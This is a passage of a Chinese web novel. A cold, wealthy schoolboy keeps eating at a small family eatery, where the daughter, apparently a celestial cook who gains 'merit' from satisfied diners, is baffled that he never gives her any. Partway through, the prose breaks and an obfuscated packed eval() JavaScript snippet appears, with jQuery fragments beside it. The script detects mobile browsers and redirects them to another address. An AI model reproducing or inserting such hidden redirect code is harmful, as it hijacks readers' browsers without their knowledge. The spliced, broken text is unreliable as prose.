“过去看看。”
司机应了一声，把车靠边停稳，下车替他拉开后座门。
春夜的风还带着一点凉，吹到谢晚酌脸上。他抬了抬大衣领口，路灯把他的影子拉得细长，投在那块小小的招牌上——
【淼淼小吃铺】
门脸不大，玻璃擦得透亮，里面亮着暖黄的灯。透过玻璃，他能看见四张原木小方桌；墙上贴着几张菜式照片，照片边角还用透明胶带压得规规整整。
最里头是半开放式的操作台，宋听雅正握着锅铲专注翻炒，翠绿的青菜在锅里翻滚，油响“滋滋”地冒，香气顺着通风扇的缝隙漫出来，像会走路一样，绕过玻璃门缝，贴着人鼻尖轻轻一勾。
谢晚酌脚步顿了顿。
他向来不在外面吃东西。家里有营养师配好的食谱，有精确到克的食材；医生也叮嘱过，他胃不好，最忌乱吃。更别说这种街边小店——油烟、调味、火候，全是不可控的变量。
司机在旁边压低声音提醒：“少爷，恐怕您不适合在这用餐。”
谢晚酌眼睫微动，像在和自己较劲。
“我知道。”他打断，声音很淡，抬步走向玻璃门，抬手推开。
“叮铃——”
风铃清脆地响了一串。
宋听雅从灶台边抬头，忙擦了擦手，挤出笑：“您好，欢迎光临。”
操作台后面，宋如淼也探出头来。小姑娘先看了眼他身上的校服，又扫到门外那辆车和司机，心里“哦”了一声——这不是普通来觅食的小孩。
她立刻从后厨绕出来，笑得甜而自然：“哥哥好——想吃点什么？炒饭只剩最后一份喽，再晚就要收锅啦。”
谢晚酌下意识想说“不用”，脚尖甚至往后撤了半寸。可香气就在这时又绕了一圈，像故意给他添一把火。
他抬眼，扫了眼靠窗的位置，最终还是走进去坐下，背挺得笔直。
宋如淼立刻跑去拿菜单。
菜单是塑封的，边角还被剪圆，怕刮手。字不多，价格也亲民。她又去消毒柜里取出碗筷，拿热水细细烫过，一一摆好，末了抬头笑嘻嘻地说：“烫过啦，干净的！”
谢晚酌看了一眼，没说什么，只“嗯”了一声。
宋如淼把菜单往他面前一推：“哥哥想吃什么？”
谢晚酌指尖在菜单上停了停，抬眼看向灶台：“你们锅里做的是什么？闻着很香。”
“青菜肉末炒饭。还有玉米排骨汤——刚炖好。”
谢晚酌喉结轻轻动了一下：“一份炒饭，一碗汤。”
“好嘞！”宋如淼脆生生应下，抽走菜单就往操作台跑，踮着脚凑到宋听雅耳边压低声音，“妈妈，点单啦！炒饭保持刚才的火候，汤盛今天炖得最烂的那几块排骨。”
宋如淼端出来时，白雾蒙蒙的热气涌出，裹挟着醇厚的骨香。她把汤盅轻轻放到他面前，认真叮嘱：“小心烫。这汤炖了很久，玉米吸饱了骨汤。你喝一口，暖胃。”
谢晚酌没回答，只拿起勺，舀了一口，吹了吹，送入口中。
热从喉咙滑下去的那一瞬，他眉心明显松了。胃里那股紧绷像被温水一点点化开，连带着胸口都轻了半寸。
他又夹了一口饭。青菜脆，肉末香，米粒粒粒分明，舌尖最后尝到一点点胡椒的暖，刚好，不多不少。
宋如淼在旁边那张桌子坐下，双手托着下巴，眼睛一眨不眨地看着他。
这人真好看。睫毛长，皮肤白，却冷得像冬天结冰的湖面，让人不敢轻易靠近——可他捧着热汤的那一刻，冰面像裂开了一条很小的缝。
很快，他吃完了最后一口饭，汤也见了底。碗里只剩几粒米粘着，汤盅里的排骨和玉米吃得干干净净。
他放下筷子，用纸巾擦了擦嘴角，抬眼看向宋如淼。
“不错。”他说，声音仍旧平淡。
宋如淼眼睛一亮，从椅子上跳下来：“对吧！我妈妈学得可快了！”
谢晚酌目光掠过墙上的菜式照片：“就这些？”
“试营业嘛！以后我会更新的。”
“你会？”谢晚酌眉梢轻轻一动。
宋如淼一点都不心虚，说得理直气壮：“我跟电视学的呀！电视教一遍，我就记住啦。”
谢晚酌没再追问，只掏出手机：“多少钱？”
宋听雅忙出来，指着二维码：“炒饭十二，汤八块，一共二十元。扫这儿就行。”
【微信收款：￥20.00】
谢晚酌收起手机，起身要走，风铃又响了一串，像在送他。
他走到门口时脚步几不可察地顿了顿，回头看了一眼——宋如淼站在暖黄灯下朝他挥手，额前碎发被光镀出一点浅金；后厨灶火温热，汤锅还冒着白雾，满是人间烟火气。
他喉结轻轻动了动，低低“嗯”了一声，转身融进暮色里。
车门关上，司机回头问：“少爷，家里还要准备晚饭么？”
谢晚酌靠进椅背，淡声道：“不用。”
——
店里收拾碗筷时，宋听雅一边擦桌子一边感慨：“那孩子长得真好看，就是太冷清了。一个人出来吃饭，怪孤单的。”
宋如淼把椅子归位，忽然抬头：“妈妈，我好像见过这个哥哥。”
“我们才搬来多久呀。”宋听雅笑着揉她头发，“可能是因为好看，你就觉得见过。”
宋如淼没吭声。
她趴回操作台的小台子上写作业，笔尖沙沙划过纸。写到一半，她忽然顿住，像被针扎了一下，慢慢抬手按住心口。
不对。
太不对了。
刚才那个人，明明把饭菜吃得一滴不剩，汤也喝得干干净净。按理说——只要一个人吃得满足、心里起一点暖，功德就该落下一声“叮——功德+1”。
可刚才……没有。
一点都没有。
宋如淼睫毛轻轻颤了颤，指尖在胸口停了很久。
——怎么回事呢？
从那天开始，谢晚酌成了“淼淼小吃铺”的常客。
他来得很准，几乎每天晚上，卡着她们关门前三十分钟推开那扇玻璃门。这个点儿，风铃“叮铃”一响，宋听雅就知道是他来了，笑着招呼：“来啦？”
谢晚酌点头，依旧选靠窗那张桌子坐下。依旧坐得很直，外套永远叠得整齐，连杯口朝向都要摆正。吃饭时不说话，吃完也只轻轻一句“谢谢”，像把所有情绪都锁进礼貌里。
宋如淼一开始还觉得他“怪”。
后来发现：怪得很稳定。
稳定到她可以闭着眼背出来他的流程：进门、点头、坐下、吃饭、结账、离开；像一条写死的剧情线，偏偏又每天准时出现。
小店的菜单也慢慢丰富起来。墙上的照片一天比一天多，宋听雅的手也一天比一天稳。她煮面时不再手忙脚乱，翻炒时锅铲不再发抖，连摆盘都学会撒一撮葱花点个颜色——人终于从“被生活追着跑”，变成“能追着生活讨一点甜了”。
而宋如淼呢？
她每天的功德提示音都响得很热闹——
“叮——功德+1。”
“叮——功德+2。”
隔壁工地的大叔吃完一碗面，说“这口面算是把我命续回来了”；送孩子上课外班的妈妈喝一口例汤，说“感觉今天没那么紧绷了”；还有穿校服的女孩子捧着热汤站在门口，甜甜地说“谢谢”。
功德像小金币一样叮叮当当往她兜里掉。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100648|195438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
可谢晚酌——
一次也没有。
一次都没有。
这事儿太刺眼了。就像一堆“叮叮叮”里突然多了一段死寂，死寂还天天准时来报到。
这天晚上，谢晚酌刚坐下，宋听雅照例问：“今天想吃什么？”
谢晚酌扫过墙上新贴的菜式照片，淡淡道：“都行。”
都行，随便——真是最让人头疼的回答。
宋如淼转身跑回厨房：“妈妈，鲜肉小馄饨吧！今天馅儿调得特别好！”
宋听雅却还是下意识看了谢晚酌一眼：“可以么？”
谢晚酌：“好。”
馄饨端上来时，皮薄得透光，能看见里面粉嫩的馅。汤色鲜亮，热腾腾扑到脸上。
谢晚酌安静地吃。一口馄饨、一口汤。
宋如淼坐在隔壁桌写作业，铅笔沙沙响，眼角余光却总往他这边瞟。
她在等。
等那缕功德暖流。
可还是没有，还是没有。
馄饨一个不剩，汤也喝得见底。他放下勺，轻声说：“谢谢。”
又是“谢谢”。
宋如淼心口那点期待，像火星落在冰面上，“嗤”一声就灭了。
这都快一个月了。
怎么就他吃一点功德都没有呢？
宋如淼坐不住了。
司命伯伯说过，功德来源于“让人获得温热满足”。谢晚酌难道不满足？还是说——他根本没觉得好吃，只是出于教养才勉强吃完？
这个念头像根小刺，扎在她心里。
她可以接受有人挑食——天宫膳房也常遇到。可她不能接受有人为了不让她难堪而假装喜欢。
那是对厨神的侮辱！
于是当谢晚酌又一次推门进来时，宋如淼没像往常那样笑着迎上去。
她站在操作台后，小手攥着围裙边，眼睛盯着他，很认真地问：“谢晚酌，你是不是不喜欢吃我家的饭？”
店里忽然静了。
宋听雅正往锅里下面，闻言手一抖，几根面条掉到灶台上。她赶紧捡起来，偷偷看了眼女儿——小脸绷着，琥珀色的眼睛没有笑意，像两粒硬糖般微微瞪着。
谢晚酌站在门口，风铃还在他头顶轻轻晃。他愣了一下，似乎没料到这个问题。
“没有。”他说。
“那为什么你从来不夸好吃？”宋如淼追问，“别的客人都会说‘好吃’、‘下次还来’，你只会说‘谢谢’。”
谢晚酌沉默了几秒。
他走进来，关上门，风铃又响了一声。目光落在宋如淼脸上，像在斟酌词句——这种斟酌很少见，像他也不习惯和人解释“为什么”。
“好吃。”他终于开口，声音比平时低一点。
他顿了顿，像要确保自己说出来的不是随便安慰人的话，而是事实。
“馄饨馅很鲜，汤也很好喝。”
“炒饭米粒散，油光不腻。”睫毛垂下去，又补了一句，“我只是……不习惯说。”
宋如淼盯着他。
“那好吧。”她泄了口气，还是很快把笑挂回脸上，像翻锅一样利落，“那你今天吃什么？黄金蛋炒饭好不好？”
谢晚酌点点头，坐下。
那一晚，他还是吃光了，也喝光了附送的海带汤。功德依然没来。
宋如淼终于认栽：好吧，可能真不是他的问题，是“机制”问题。
司命伯伯只说了“让人获得温热满足”，可没具体说“人”指哪些人——万一天庭的功德收取对某些特殊体质不识别呢？
她把疑问压回心口，像把火候压住：不急，慢慢炖。
直到周五晚上谢晚酌没来。周六，也没来。